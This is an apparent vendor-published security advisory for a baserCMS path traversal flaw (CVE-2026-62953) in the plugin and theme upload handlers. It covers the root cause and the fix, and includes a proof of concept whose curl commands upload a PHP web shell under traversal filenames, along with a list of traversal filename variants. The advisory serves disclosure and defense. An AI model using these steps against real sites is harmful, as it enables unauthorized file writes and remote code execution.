Back to advisories
CVE-2026-62953 GHSA-h26f-xjhf-995v High CVSS 7.2

Path Traversal via Unsanitized Upload Filename

baserCMS plugin and theme upload handlers use the client-supplied filename to build a destination path without calling basename(), so an authenticated user can smuggle traversal sequences and write an arbitrary file, including a PHP payload, before any ZIP validation runs. If the webroot is writable this leads to remote code execution; the issue is fixed in version 5.2.3.

Affected: basercms < 5.2.3 Vendor: baserproject Discovered: Reported: May 18, 2026 Patched: Jul 30, 2026 Reporter: Stefan Mitocaru
CVSS Vector: CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

Details

baserCMS accepts plugin and theme uploads as ZIP archives through both its admin UI and its REST API. The upload handlers take the browser-supplied filename as-is and use it to construct the path the file is written to. Without a basename() call, a filename containing directory traversal sequences lets an authenticated user place a file anywhere the web server process can write, and because the write happens before the archive is validated as a real ZIP, a plain PHP file lands on disk intact.

Summary

Field Value
Advisory GHSA-h26f-xjhf-995v
Severity High (CVSS 3.0: 7.2)
CWE CWE-22, CWE-73
Package baserproject/basercms (Composer)
Affected <=5.2.2
Vulnerability Path Traversal via Unsanitized Upload Filename
Impact RCE if the webroot is writable

How it works

The vulnerable logic sits in PluginsService::add() around lines 701 to 705 of PluginsService.php, with an identical pattern in ThemesService::add().

The service reads the client filename directly from the uploaded file object:

$name = $postData['file']->getClientFileName();   // attacker-controlled
$postData['file']->moveTo(TMP . $name);           // no basename(), path is trusted
$zip = new BcZip();
if (!$zip->extract(TMP . $name, TMP)) {           // fails when the payload is not a ZIP
    throw new BcException('…');                    // but the file is already written
}

getClientFileName() returns whatever the client put in the multipart filename field. That value is fully attacker-controlled. It is concatenated onto the TMP constant and handed straight to moveTo(). If the filename is something like ../../webroot/shell.php, the file is moved to that resolved location rather than staying inside TMP.

The important detail is ordering. The file is written first, and only afterward does BcZip::extract() try to treat it as an archive. A PHP web shell is not a valid ZIP, so extraction fails and the code throws BcException, which surfaces to the caller as a 400 or 500 response. There is no cleanup in the failure path, so the written file stays where it landed. The error the attacker receives is therefore misleading: the request looks rejected while the payload is already on disk.

The same code path is reachable from four routes, covering both the admin controllers and their API counterparts:

POST /baser/admin/baser-core/plugins/add       -> PluginsController::add()
POST /baser/api/baser-core/plugins/add.json    -> Api\Admin\PluginsController::add()
POST /baser/admin/baser-core/themes/add        -> ThemesController::add()
POST /baser/api/baser-core/themes/add.json     -> Api\Admin\ThemesController::add()

Root Cause

The destination path is built from getClientFileName() without stripping directory components. The code assumes the client filename is a bare name, but it is untrusted input that can contain ../ segments, so the missing basename() call turns a filename into a path selector. The problem is compounded by the fact that the file is persisted before it is validated, and the failure branch has no cleanup, so a rejected upload still leaves a file behind.

Proof of Concept

Proof of Concept Sanitized for safety
Note: This proof of concept is published for educational and defensive purposes after coordinated disclosure. Do not use it against systems you do not own or have explicit permission to test.

Vulnerable code

// PluginsService::add() — same shape in ThemesService::add()
$name = $postData['file']->getClientFileName(); // e.g. "../../webroot/x.php"
$postData['file']->moveTo(TMP . $name);         // resolves outside TMP
$zip = new BcZip();
if (!$zip->extract(TMP . $name, TMP)) {         // non-ZIP -> throws
    throw new BcException('…');                 // file already on disk, no cleanup
}

Attack scenarios

# 1. Authenticate as a user with plugin/theme upload rights (reconstructed)
curl -X POST "http://target/baser/api/baser-core/users/login.json" \
     -H "Content-Type: application/json" \
     -d '{"email":"[email protected]","password":"password"}'

# 2. Upload a PHP payload whose multipart filename carries traversal.
#    The archive does not need to be a valid ZIP — the write happens first.
curl -X POST "http://target/baser/api/baser-core/plugins/add.json" \
     -H "Authorization: Bearer <token>" \
     -F '[email protected];filename=../../../../var/www/html/webroot/shell.php'

# 3. The response is 400/500 (ZIP extraction failed) but the file is written.
#    Trigger it:
curl "http://target/shell.php"

Traversal string variants an attacker may try, depending on how TMP resolves relative to the webroot:

../../webroot/s.php
../../../../var/www/html/webroot/s.php
..%2f..%2fwebroot%2fs.php     # if the filename is URL-decoded upstream

Fixed / safe code

$name = basename($postData['file']->getClientFileName()); // strips any directory parts
$postData['file']->moveTo(TMP . $name);                   // guaranteed to stay in TMP
$zip = new BcZip();
if (!$zip->extract(TMP . $name, TMP)) {
    @unlink(TMP . $name);           // defensive: clean up the rejected upload
    throw new BcException('…');
}

Upgrading

composer require baserproject/basercms:^5.2.3

Start securing your codebase today

Connect your repositories and let AI agents handle continuous scanning, research, and triage.

Have questions? Get in touch →